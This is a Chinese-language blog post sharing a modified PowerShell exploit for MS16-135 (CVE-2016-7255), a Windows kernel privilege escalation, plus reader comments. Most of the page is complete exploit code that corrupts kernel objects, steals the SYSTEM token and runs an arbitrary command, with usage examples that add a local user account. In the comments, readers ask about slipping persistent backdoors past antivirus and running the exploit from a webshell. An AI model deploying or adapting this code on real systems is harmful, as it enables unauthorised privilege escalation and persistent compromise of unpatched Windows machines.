MS16-135 带参数版
in 工具收集 with 6 comments

MS16-135 带参数版

in 工具收集 with 6 comments

修改了一个带参数版的,方便用,代码如下:

function Invoke-MS16-135 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-135. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. 
    
    * Win7-Win10 <== 64 bit!
.PARAMETER Application
Specifies an Application to run.
.PARAMETER Commandline
Specifies Commandline, such as net user xxx xxx /add
    
.EXAMPLE
    C:\PS> Invoke-MS16-135 -Application C:\Windows\System32\cmd.exe
    C:\PS> Invoke-MS16-135 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add"
#>
[CmdletBinding()]
param(
        [Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )]
        [string]
        $Application,

        [Parameter(Mandatory = $False)]
        [string]
        $Commandline
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential)]
public struct INPUT
{
    public int itype;
    public KEYBDINPUT U;
    public int Size;
}

[StructLayout(LayoutKind.Sequential)]
public struct KEYBDINPUT
{
    public UInt16 wVk;
    public UInt16 wScan;
    public uint dwFlags;
    public int time;
    public IntPtr dwExtraInfo;
}

[StructLayout(LayoutKind.Sequential)] 
public struct tagMSG  
{  
    public IntPtr hwnd;
    public UInt32 message;
    public UIntPtr wParam;
    public UIntPtr lParam;
    public UInt32 time;
    public POINT pt;
}

public struct POINT
{  
    public Int32 x;
    public Int32 Y;
}

public class ms16135
{
    delegate IntPtr WndProc(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);

    [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASSEX
    {
        public uint cbSize;
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
        public IntPtr hIconSm;
    }
    
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.UInt16 RegisterClassW(
        [System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass);

    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam);

    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);

    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    public static extern bool DestroyWindow(
        IntPtr hWnd);

    [DllImport("user32.dll", SetLastError = true)]
    public static extern bool UnregisterClass(
        String lpClassName,
        IntPtr hInstance);

    [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr GetModuleHandleW(
        [MarshalAs(UnmanagedType.LPWStr)]
        String lpModuleName);

    [DllImport("user32.dll", EntryPoint="SetWindowLongPtr")]
    public static extern IntPtr SetWindowLongPtr(
        IntPtr hWnd,
        int nIndex,
        IntPtr dwNewLong);

    [DllImport("user32.dll")]
    public static extern bool ShowWindow(
        IntPtr hWnd,
        int nCmdShow);

    [DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr SetParent(
        IntPtr hWndChild,
        IntPtr hWndNewParent);

    [DllImport("user32.dll", SetLastError = false)]
    public static extern IntPtr GetDesktopWindow();

    [DllImport("user32.dll")]
    public static extern bool SetForegroundWindow(
        IntPtr hWnd);

    [DllImport("user32.dll", SetLastError=true)]
    public static extern void SwitchToThisWindow(
        IntPtr hWnd,
        bool fAltTab);

    [DllImport("user32.dll")]
    public static extern bool GetMessage(
        out tagMSG lpMsg,
        IntPtr hWnd,
        uint wMsgFilterMin,
        uint wMsgFilterMax);

    [DllImport("user32.dll")]
    public static extern bool TranslateMessage(
        [In] ref tagMSG lpMsg);

    [DllImport("user32.dll")]
    public static extern IntPtr DispatchMessage(
        [In] ref tagMSG lpmsg);

    [DllImport("user32.dll", SetLastError = true)]
    public static extern IntPtr SetFocus(
        IntPtr hWnd);

    [DllImport("user32.dll")]
    public static extern uint SendInput(
        uint nInputs, 
        [In] INPUT pInputs, 
        int cbSize);

    [DllImport("gdi32.dll")]
    public static extern int GetBitmapBits(
        IntPtr hbmp,
        int cbBuffer,
        IntPtr lpvBits);

    [DllImport("gdi32.dll")]
    public static extern int SetBitmapBits(
        IntPtr hbmp,
        int cbBytes,
        IntPtr lpBits);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    public UInt16 CustomClass(string class_name)
    {
        m_wnd_proc_delegate = CustomWndProc;
        WNDCLASSEX wind_class = new WNDCLASSEX();
        wind_class.lpszClassName = class_name;
        ///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class);
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
        return RegisterClassW(ref wind_class);
    }

    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }

    private WndProc m_wnd_proc_delegate;
}
"@

#==============================================================[Banner]
    $ms16135 = @"
     _____ _____ ___   ___     ___   ___ ___ 
    |     |   __|_  | |  _|___|_  | |_  |  _|
    | | | |__   |_| |_| . |___|_| |_|_  |_  |
    |_|_|_|_____|_____|___|   |_____|___|___|
                                        
                       [by b33f -> @FuzzySec]
                       
"@
$ms16135

#==============================================================[Pre-Run]
# Exploit is only for x64
if ([System.IntPtr]::Size -ne 8) {
    echo "`n[!] Target architecture is x64 only!`n"
    Return
}

# Get OS version
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
    '10.0' # Win10 / 2k16
    {
        echo "[?] Target is Win 10"
        echo "[+] Bitmap dimensions: 0x760*0x4`n"
    }

    '6.3' # Win8.1 / 2k12R2
    {
        echo "[?] Target is Win 8.1"
        echo "[+] Bitmap dimensions: 0x760*0x4`n"
    }

    '6.2' # Win8 / 2k12
    {
        echo "[?] Target is Win 8"
        echo "[+] Bitmap dimensions: 0x760*0x4`n"
    }

    '6.1' # Win7 / 2k8R2
    {
        echo "[?] Target is Win 7"
        echo "[+] Bitmap dimensions: 0x770*0x4`n"
    }
}

#==============================================================[Helpers]
function Get-LoadedModules {
<#
.SYNOPSIS
    Use NtQuerySystemInformation::SystemModuleInformation to get a list of
    loaded modules, their base address and size (x32/x64).

    Note: Low integrity only pre 8.1

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.EXAMPLE
    C:\PS> $Modules = Get-LoadedModules
    C:\PS> $KernelBase = $Modules[0].ImageBase
    C:\PS> $KernelType = ($Modules[0].ImageName -split "\\")[-1]
    C:\PS> ......
#>

    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    public struct SYSTEM_MODULE_INFORMATION
    {
        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
        public UIntPtr[] Reserved;
        public IntPtr ImageBase;
        public UInt32 ImageSize;
        public UInt32 Flags;
        public UInt16 LoadOrderIndex;
        public UInt16 InitOrderIndex;
        public UInt16 LoadCount;
        public UInt16 ModuleNameOffset;
        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
        internal Char[] _ImageName;
        public String ImageName {
            get {
                return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
            }
        }
    }

    public static class Ntdll
    {
        [DllImport("ntdll.dll")]
        public static extern int NtQuerySystemInformation(
            int SystemInformationClass,
            IntPtr SystemInformation,
            int SystemInformationLength,
            ref int ReturnLength);
    }
"@

    [int]$BuffPtr_Size = 0
    while ($true) {
        [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
        $SystemInformationLength = New-Object Int
    
        # SystemModuleInformation Class = 11
        $CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
        
        # STATUS_INFO_LENGTH_MISMATCH
        if ($CallResult -eq 0xC0000004) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
        }
        # STATUS_SUCCESS
        elseif ($CallResult -eq 0x00000000) {
            break
        }
        # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
        else {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            return
        }
    }

    $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
    $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
    if ([System.IntPtr]::Size -eq 4) {
        $SYSTEM_MODULE_INFORMATION_Size = 284
    } else {
        $SYSTEM_MODULE_INFORMATION_Size = 296
    }

    $BuffOffset = $BuffPtr.ToInt64()
    $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
    $BuffOffset = $BuffOffset + [System.IntPtr]::Size

    $SystemModuleArray = @()
    for ($i=0; $i -lt $HandleCount; $i++){
        $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
        $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
        
        $HashTable = @{
            ImageName = $Cast.ImageName
            ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
            ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
        }
        
        $Object = New-Object PSObject -Property $HashTable
        $SystemModuleArray += $Object
    
        $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
    }

    $SystemModuleArray

    # Free SystemModuleInformation array
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}

function Stage-gSharedInfoBitmap {
<#
.SYNOPSIS
    Universal Bitmap leak using accelerator tables, 32/64 bit Win7-10 (post anniversary).

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.EXAMPLE
    PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl
    
    BitmapKernelObj : -7692235059200
    BitmappvScan0   : -7692235059120
    BitmapHandle    : 1845828432
    
    PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap
    PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
    FFFFF901030FF000
#>

    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;

    public static class gSharedInfoBitmap
    {
        [DllImport("gdi32.dll")]
        public static extern IntPtr CreateBitmap(
            int nWidth,
            int nHeight,
            uint cPlanes,
            uint cBitsPerPel,
            IntPtr lpvBits);

        [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
        
        [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

        [DllImport("user32.dll")]
        public static extern IntPtr CreateAcceleratorTable(
            IntPtr lpaccl,
            int cEntries);

        [DllImport("user32.dll")]
        public static extern bool DestroyAcceleratorTable(
            IntPtr hAccel);
    }
"@

    # Check Arch
    if ([System.IntPtr]::Size -eq 4) {
        $x32 = 1
    }

    function Create-AcceleratorTable {
        [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
        $AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
        $User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
        $gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
        if ($x32){
            $gSharedInfo = $gSharedInfo.ToInt32()
        } else {
            $gSharedInfo = $gSharedInfo.ToInt64()
        }
        $aheList = $gSharedInfo + [System.IntPtr]::Size
        if ($x32){
            $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
            $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
            $phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
        } else {
            $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
            $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
            $phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
        }

        $Result = @()
        $HashTable = @{
            Handle = $AccelHandle
            KernelObj = $phead
        }
        $Object = New-Object PSObject -Property $HashTable
        $Result += $Object
        $Result
    }

    function Destroy-AcceleratorTable {
        param ($Hanlde)
        $CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
    }

    $KernelArray = @()
    for ($i=0;$i -lt 20;$i++) {
        $KernelArray += Create-AcceleratorTable
        if ($KernelArray.Length -gt 1) {
            if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
                Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
                [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
                if ($OSMajorMinor -eq "6.1") { 
                    $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7
                } else {
                    $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10
                }
                break
            }
        }
        Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
    }

    $BitMapObject = @()
    $HashTable = @{
        BitmapHandle = $BitmapHandle
        BitmapKernelObj = $($KernelArray[$i].KernelObj)
        BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
    }
    $Object = New-Object PSObject -Property $HashTable
    $BitMapObject += $Object
    $BitMapObject
}

function Bitmap-Elevate {
    param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap)

    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    public static class BitmapElevate
    {
        [DllImport("gdi32.dll")]
        public static extern int SetBitmapBits(
            IntPtr hbmp,
            uint cBytes,
            byte[] lpBits);
        [DllImport("gdi32.dll")]
        public static extern int GetBitmapBits(
            IntPtr hbmp,
            int cbBuffer,
            IntPtr lpvBits);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAllocationType,
            UInt32 flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool VirtualFree(
            IntPtr lpAddress,
            uint dwSize,
            uint dwFreeType);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool FreeLibrary(
            IntPtr hModule);
        [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
        [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
    }
"@

    # Arbitrary Kernel read
    function Bitmap-Read {
        param ($Address)
        $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
        [IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
        $CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
        if ($x32Architecture){
            [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
        } else {
            [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
        }
        $CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
    }
    
    # Arbitrary Kernel write
    function Bitmap-Write {
        param ($Address, $Value)
        $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
        $CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
    }

    switch ($OSMajorMinor)
    {
        '10.0' # Win10 / 2k16
        {
            $UniqueProcessIdOffset = 0x2e8
            $TokenOffset = 0x358          
            $ActiveProcessLinks = 0x2f0
        }
    
        '6.3' # Win8.1 / 2k12R2
        {
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348          
            $ActiveProcessLinks = 0x2e8
        }
    
        '6.2' # Win8 / 2k12
        {
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348          
            $ActiveProcessLinks = 0x2e8
        }
    
        '6.1' # Win7 / 2k8R2
        {
            $UniqueProcessIdOffset = 0x180
            $TokenOffset = 0x208          
            $ActiveProcessLinks = 0x188
        }
    }
    
    # Get EPROCESS entry for System process
    echo "`n[>] Leaking SYSTEM _EPROCESS.."
    $SystemModuleArray = Get-LoadedModules
    $KernelBase = $SystemModuleArray[0].ImageBase
    $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
    $KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType")
    $PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
    $SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
    $CallResult = [BitmapElevate]::FreeLibrary($KernelHanle)
    echo "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
    $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
    echo "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
    echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
    echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
    $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
    
    # Get EPROCESS entry for current process
    echo "`n[>] Leaking current _EPROCESS.."
    echo "[+] Traversing ActiveProcessLinks list"
    $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
    while($true) {
        $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
        if ($NextPID -eq $PID) {
            echo "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)"
            echo "[+] PID: $NextPID"
            echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
            $PoShTokenAddr = $NextProcess+$TokenOffset
            break
        }
        $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
    }
    
    # Duplicate token!
    echo "`n[!] Duplicating SYSTEM token!`n"
    Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
}

#==============================================================[Keyboard Functions]
# See: https://msdn.microsoft.com/en-us/library/ms927178.aspx
function Sim-KeyDown {
    param([Int]$wKey)
    $KeyboardInput = New-Object KEYBDINPUT
    $KeyboardInput.dwFlags = 0
    $KeyboardInput.wVk = $wKey

    $InputObject = New-Object INPUT
    $InputObject.itype = 1
    $InputObject.U = $KeyboardInput
    $InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
    
    $CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
    if ($CallResult -eq 1) {
        $true
    } else {
        $false
    }
}

function Sim-KeyUp {
    param([Int]$wKey)
    $KeyboardInput = New-Object KEYBDINPUT
    $KeyboardInput.dwFlags = 2
    $KeyboardInput.wVk = $wKey
    
    $InputObject = New-Object INPUT
    $InputObject.itype = 1
    $InputObject.U = $KeyboardInput
    $InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
    
    $CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
    if ($CallResult -eq 1) {
        $true
    } else {
        $false
    }
}

function Do-AltShiftEsc {
    $CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
    $CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
    $CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
    $CallResult = Sim-KeyUp -wKey 0x1b   # VK_ESCAPE
    $CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
    $CallResult = Sim-KeyUp -wKey 0x1b   # VK_ESCAPE
    $CallResult = Sim-KeyUp -wKey 0x12   # VK_MENU
    $CallResult = Sim-KeyUp -wKey 0x10   # VK_SHIFT
}

function Do-AltShiftTab {
    param([Int]$Count)
    $CallResult = Sim-KeyDown -wKey 0x12    # VK_MENU
    $CallResult = Sim-KeyDown -wKey 0x10    # VK_SHIFT
    for ($i=0;$i -lt $count;$i++) {
        $CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB
        $CallResult = Sim-KeyUp -wKey 0x9   # VK_TAB
    }
    $CallResult = Sim-KeyUp -wKey 0x12      # VK_MENU
    $CallResult = Sim-KeyUp -wKey 0x10      # VK_SHIFT
}

#==============================================================[Create-Bitmaps]
do {
    $Bitmap1 = Stage-gSharedInfoBitmap
    $Bitmap2 = Stage-gSharedInfoBitmap
    if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) {
        $WorkerBitmap = $Bitmap1
        $ManagerBitmap = $Bitmap2
    } else {
        $WorkerBitmap = $Bitmap2
        $ManagerBitmap = $Bitmap1
    }
    $Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj
} while ($Distance -ne 0x2000)

echo "[?] Adjacent large session pool feng shui.."
echo "[+] Worker  : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)"
echo "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)"
echo "[+] Distance: 0x$('{0:X}' -f $Distance)"

# Address of the y-coordinate for the bitmap
$TargetAddress = $WorkerBitmap.BitmapKernelObj + 63

#==============================================================[Trigger Function]
function Do-OrAddress {
    param([Int64]$Address)

    # Create WNDCLASSEX atom
    $AtomCreate = New-Object ms16135
    $hAtom = $AtomCreate.CustomClass("cve-2016-7255")
    if ($hAtom -eq 0){
        break
    }

    echo "`n[?] Creating Window objects"
    $hMod = [ms16135]::GetModuleHandleW([String]::Empty)
    # WS_OVERLAPPEDWINDOW|WS_VISIBLE
    $hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
    if ($hWndParent -eq 0){
        break
    }

    # WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD
    $hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
    if ($hWndChild -eq 0){
        break
    }

    # Align target
    $Address = $Address - 0x28

    echo "[+] Corrupting child window spmenu"
    # manipulate child spmenu
    $CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address)

    # Window magic
    $CallResult = [ms16135]::ShowWindow($hWndParent,1)
    $hDesktopWindow = [ms16135]::GetDesktopWindow()
    $CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow)
    $CallResult = [ms16135]::SetForegroundWindow($hWndChild)

    Do-AltShiftTab -Count 4

    $CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true)

    Do-AltShiftEsc

    # This is a bit messy, but the bug is not easy to trigger
    # while also reliably exiting the loop. Basically we try to
    # trigger the arbitrary "Or" for 3 seconds and then check if
    # it was successful. If not we try up to ten times (should
    # take 2-4 attempts).
    function Trigger-Write {
        $SafeGuard = [diagnostics.stopwatch]::StartNew()
        while ($SafeGuard.ElapsedMilliseconds -lt 3000) {
            $tagMSG = New-Object tagMSG
            if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) {
                $CallResult = [ms16135]::SetFocus($hWndParent) #
                for ($i=0;$i-lt20;$i++){Do-AltShiftEsc}        #
                $CallResult = [ms16135]::SetFocus($hWndChild)  # Bug triggers here!
                for ($i=0;$i-lt20;$i++){Do-AltShiftEsc}        #
                $CallResult = [ms16135]::TranslateMessage([ref]$tagMSG)
                $CallResult = [ms16135]::DispatchMessage([ref]$tagMSG)
            }
        } $SafeGuard.Stop()
    }
    [IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40)
    do {
        echo "[+] Trying to trigger arbitrary 'Or'.."
        $ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
        Trigger-Write
        $LoopCount += 1
    } while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)

    # Clean up
    $CallResult = [ms16135]::DestroyWindow($hWndChild)
    $CallResult = [ms16135]::DestroyWindow($hWndParent)
    $CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero)
    
    # Because shit happens, or patched
    if ($LoopCount -eq 10) {
        echo "`n[!] Bug did not trigger, try again or patched?`n"
        $Script:BugNotTriggered = 1
    }
}

Do-OrAddress -Address $TargetAddress
if ($BugNotTriggered) {
    Return
}

#==============================================================[Set pvScan0 Manger]
# Calculate offset
if ($OSMajorMinor -eq "6.1") {
    $SizeVal = 0x400000770
} else {
    $SizeVal = 0x400000760
}
do {
    $Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount)
    if ($Read64 -eq $SizeVal) {
        $Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16)
        $Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24)
        if ($Pointer1 -eq $Pointer2) {
            $BufferOffset = $LoopCount + 16
            Break
        }
    }
    $LoopCount += 8
} while ($LoopCount -lt 0x2000)
$pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset)
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)

# Sanity check, probably unnecessary
if ($pvScan0 -ne 0) {
    echo "`n[?] Success, reading beyond worker bitmap size!"
    echo "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
} else {
    echo "`n[!] Buffer contains invalid data, quitting..`n"
    Return
}

# Overwrite pointers in buffer
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0)
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0)
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
echo "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"

# Overwrite adjacent kernel _SURFOBJ
$CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)

#==============================================================[Elevate]
Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle
if([String]::IsNullOrEmpty($Application))
{
Write-Host "[!] Nothing to do.."  
}
else{cmd /c $Application + " " + $Commandline}

}

github地址:戳我
demo:

1.gif

Responses
  1. 噬魂

    大神好,看了你的用powershell留后门的文章感觉很好,但在谈到利用powershell改变windows计划任务以便留下持久后门时,360报了出来。不知大神在用powershell留持久后门这方面有没有更好的办法

    Reply
  2. 噬魂

    Reply
    1. Nt
      @噬魂

      这个得自己去发现吧,毕竟绕过360的技术影响不太好吧

      Reply
  3. 大神,这个可以在webshell里运行吗?如果不行应该怎么改?能给个思路吗?

    Reply
    1. @evilsb

      应该可以的吧,我没测试过不过。

      Reply
  4. 鸟鸟鸟鸟

    大神好,我测试这个exp好像只有高权限才能执行,在shell的权限就卡死,你是这样的吗

    Reply